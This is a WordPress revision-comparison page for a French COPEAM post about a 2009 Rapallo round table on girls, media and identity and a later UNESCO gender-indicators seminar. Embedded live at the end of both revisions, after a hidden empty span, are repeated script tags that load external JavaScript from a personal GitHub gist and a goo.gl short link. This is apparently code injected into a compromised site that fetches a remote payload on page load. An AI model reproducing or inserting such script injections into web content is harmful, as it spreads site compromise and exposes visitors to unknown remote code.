You are viewing an old revision of this post, from January 27, 2011 @ 11:28:10. See below for differences between this version and the current revision.
De Pimpa aux Winx : filles, médias et identité
Rapallo 3 avril 2009
Afin de promouvoir cette campagne auprès du jeune public, le Groupe Femmes a organisé le 3 avril dernier, à Rapallo (Italie), la table ronde « De Pimpa aux Winx : filles, médias et identité » dans le cadre du Festival de l’Animation « Cartoons on the Bay », organisé par RAI Trade (www.cartoonsbay.com)
Le résultats obtenus par ces initiatives constituent la base pour l’idéation de nouveaux projets de formation en faveur des femmes professionnelles de l’audiovisuel de la Région.
REVUE DE PRESSE:
Le Groupe Femmes @ Cartoons on the Bay :
"Corriere della Sera.it « De Pimpa aux Winx : filles, médias et identité"
Changes:
January 27, 2011 @ 11:28:10 | Current Revision | ||
---|---|---|---|
Title | |||
De Pimpa aux Winx : filles, médias et identité | Femmes et Médias : A la recherche de nouvelles formes de représentation |
Content | |||
---|---|---|---|
<p> | <p> | ||
<span style="color: rgb(0, 100, 0);"><strong>De Pimpa aux Winx : filles, médias et identité </strong></span><br /> | Le but du <span data-scayt_word="Groupe" data-scaytid= "1">Groupe</span> de Travail “Femmes en <span data-scayt_word= "Méditerranéeâ€" data-scaytid= "2">Mé diterrané e”</span> de la <span data-scayt_word="COPEAM" data-scaytid= "3">COPEAM</span> <span data-scayt_word="est" data-scaytid= "4">est</span> <span data-scayt_word= "l’étude" data-scaytid= "5">l’étude</span> de la condition et <span data-scayt_word="dela" data-scaytid= "6">dela</span> <span data-scayt_word= "représentation" data-scaytid= "7">repré sentation</span> <span data-scayt_word= "féminine" data-scaytid= "8">fé minine</span> <span data-scayt_word="dans" data-scaytid= "9">dans</span> le milieu <span data-scayt_word= "audiovisuel" data-scaytid= "11">audiovisuel</span> de <span data-scayt_word= "l’espace" data-scaytid= "12">l’ espace</span> Euro-Med, <span data-scayt_word="ainsi" data-scaytid= "13">ainsi</span> <span data-scayt_word="que" data-scaytid= "14">que</span> <span data-scayt_word= "l’idéation" data-scaytid= "15">l’ idéation</span>, <span data-scayt_word= "réalisation" data-scaytid= "16">ré alisation</span> et promotion de <span data-scayt_word="projets" data-scaytid= "17">projets</span> <span data-scayt_word="visant" data-scaytid= "18">visant</span> <span data-scayt_word="à " data-scaytid= "19">à</span> <span data-scayt_word="fournir" data-scaytid= "20">fournir</span> des <span data-scayt_word="outils" data-scaytid= "21">outils</span> <span data-scayt_word="concrets" data-scaytid= "22">concrets</span> <span data-scayt_word= "d’émancipation" data-scaytid= "23">d’ émancipation</span>, <span data-scayt_word="notamment" data-scaytid= "24">notamment</span> <span data-scayt_word="dans" data-scaytid= "10">dans</span> <span data-scayt_word="ces" data-scaytid= "25">ces</span> <span data-scayt_word= "régions" data-scaytid= "26">ré gions</span> <span data-scayt_word= "particulièrement" data-scaytid= "27">particuliè rement</span> « <span data-scayt_word= "difficiles" data-scaytid= "28">difficiles</span> »</p> | ||
<em>Rapallo 3 avril 2009</em></p> | |||
<p> | <p> | ||
<span style="color: rgb(0, 100, 0);"><img alt="" src="../../userfiles/tv.jpg" style="width: 105px; height: 82px; float: left;" /></span>Afin de promouvoir cette campagne auprès du jeune public, le Groupe Femmes a organisé le 3 avril dernier, <span>à</span> Rapallo (Italie), la table ronde « <strong>De Pimpa aux Winx : filles, </strong><strong> médias et identité</strong> » dans le cadre du Festival de l’Animation « Cartoons on the Bay », organisé par RAI Trade (<u><strong><a href="http:// www.cartoonsbay.com/" style="color: rgb(0, 0, 255) ! important;">< span>www.cartoonsbay.com< /span></a></strong></u>)<br /> | <span style="font-size: 14px"><span style="color: rgb(0,100,0)"><strong>A LA </strong></span> </span><span style="font-size: 14px"><span style="color: rgb(0,100,0)" ><strong><span data-scayt_word="UNE" data-scaytid= "29">UNE</span></strong>< /span></span></p> | ||
Le résultats obtenus par ces initiatives constituent la base pour l’idéation de nouveaux projets de formation en faveur des femmes professionnelles de l’audiovisuel de la <span>Ré gion</span>.</p> | |||
<p> | <p> | ||
<img alt="" src="/userfiles/ image/ritsm.jpg" style="width: 242px; height: 180px; float: left;" />Les 15 et 16 <span data-scayt_word="juillet" data-scaytid= "92">juillet</span>, la <span data-scayt_word="COPEAM" data-scaytid= "59">COPEAM</span> a <span data-scayt_word= "organisé" data-scaytid= "94">organisé</span> <span data-scayt_word="à " data-scaytid= "60">à</span> Ljubljana le <span data-scayt_word= "troisième" data-scaytid= "96">troisième</span> <span data-scayt_word= "séminaire" data-scaytid= "97">sé minaire</span> <span data-scayt_word="sur" data-scaytid= "99">sur</span> <span data-scayt_word= "l’adaptation" data-scaytid= "101">l’ adaptation</span> des <span data-scayt_word= "Indicateurs" data-scaytid= "102">Indicateurs</span> des Genres pour les <span data-scayt_word="Médias" data-scaytid= "103">Médias</span> de <span data-scayt_word= "l’UNESCO" data-scaytid= "104">l’ UNESCO</span>. <span data-scayt_word="Ce" data-scaytid= "106">Ce</span> <span data-scayt_word= "séminaire" data-scaytid= "98">sé minaire</span> <span data-scayt_word= "s’inscrit" data-scaytid= "107">s’ inscrit</span> <span data-scayt_word="dans" data-scaytid= "61">dans</span> un plus ample <span data-scayt_word="projet" data-scaytid= "110">projet</span> <span data-scayt_word="promu" data-scaytid= "111">promu</span> par <span data-scayt_word= "l’UNESCO" data-scaytid= "105">l’ UNESCO</span> <span data-scayt_word="sur" data-scaytid= "100">sur</span> <span data-scayt_word= "l’intégration" data-scaytid= "112">l’inté gration</span> de la perspective des genres <span data-scayt_word="dans" data-scaytid= "62">dans</span> les <span data-scayt_word= "politiques" data-scaytid= "113">politiques</span> et les <span data-scayt_word="pratiques" data-scaytid= "114">pratiques</span> <span data-scayt_word= "professionnelles" data-scaytid= "115">professionnelles</span> des <span data-scayt_word="médias" data-scaytid= "116">mé dias</span>.<br /> | |||
Accueillie par la RTVSLO, la rencontre a impliqué une dizaine de professionnels provenant de différentes directions qui ont analysé, sélectionné et adapté les indicateurs les plus pertinents au contexte de leur organisme. Le séminaire à été ouvert par M. Marko Filli, Directeur Général du diffuseur slovène, et à été conduit par la COPEAM avec le support de Mme Živa Humer, chercheuse au Pace Institute.</p> | |||
<p> | |||
Au cours des deux jours de travail, les participants ont concordé une version adaptée des indicateurs et un plan d’action pour leur application, afin d’évaluer les politiques internes en matière d’é galité entre les genres. Cela permettra d’élaborer des recommandations visant à renforcer l’équilibre hommes-femmes dans les stratégies de la RTVSLO.</p> | |||
<p> | |||
Le <span data-scayt_word= "deuxième" data-scaytid= "143">deuxième</span> <span data-scayt_word= "séminaire" data-scaytid= "117">sé minaire</span> de <span data-scayt_word="cette" data-scaytid= "145">cette</span> <span data-scayt_word="série" data-scaytid= "146">série</span> a <span data-scayt_word="été" data-scaytid= "147">é té</span> <span data-scayt_word="accueilli" data-scaytid= "148">accueilli</span> par la <span data-scayt_word= "radiotélévision" data-scaytid= "149">radiotélé vision</span> <span data-scayt_word="publique" data-scaytid= "150">publique</span> <span data-scayt_word="albanaise" data-scaytid= "151">albanaise</span> – <span data-scayt_word="RTSH" data-scaytid= "152">RTSH</span>, en <span data-scayt_word="mai" data-scaytid= "153">mai</span> 2013.</p> | |||
<table border="1" cellpadding="1" cellspacing="1" height="93" width="576"> | |||
<tbody> | |||
<tr> | |||
<td style="text-align: center"> | |||
<span style="color: rgb(0, | <span style="color: rgb(0,100,0)" ><strong>LIENS UTILES</strong> </span></td> | ||
<td style="text-align: center"> | |||
<span style="color: rgb(0,100,0)"><strong>LA COMMISSION FEMMES SOUTIENT</strong> </span></td> | |||
</tr> | |||
<tr> | |||
<td> | |||
<p> | |||
<a href="http:// fr-fr.facebook.com/ femmes.mediterraneennes" target="_blank"><img alt="" src="../../userfiles/ image/BannerFacebookEN.gif" style="width: 149px; height: 36px" /></a></p> | |||
</td> | |||
<td colspan="1" rowspan="2"> | |||
<p style="margin-left: 40px"> | |||
<a href="../../proj.aspx?ln= fr&id=34&p=103" style="color: rgb(0,0,255)"><img alt="" src="../../userfiles/ image/women_makethenews_sm.jpg" style="width: 71px; height: 49px" /></a><a href="http:// www.copeam.org/ proj.aspx?ln= fr&id=0& p=196"><span style="color: rgb(0,0,205)" ><u><strong>COPEAM for...Women make the news</strong> </u></span></a></p> | |||
</td> | |||
</tr> | |||
<tr> | |||
<td> | |||
<a href="http:// www.youtube.com/ user/MediaAndWomen" target="_blank"><img alt="" src="../../userfiles/ image/womengroup_ youtube.jpg" style="width: 146px; height: 43px" /></a></td> | |||
</tr> | |||
Le Groupe Femmes @ Cartoons on the Bay :<br /> | </tbody> | ||
"<u><strong><a href="http:// www.corriere.it/spettacoli/ 09_aprile_02/ cartoons_on_ the_bay_liguria_6c528afa- 1f67-11de-956a- 00144f02aabc.shtml" style="color: rgb(0, 0, 255) ! important;"><em>Corriere della <span>Sera.it</span></em> « De Pimpa aux Winx : filles, médias et identité "</a></strong></u></p> | |||
</table> | |||
<p> | |||
<span id="1253701565586E" style="display: none"></span></p> | |||
<script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> |
Note: Spaces may be added to comparison text to allow better line wrapping.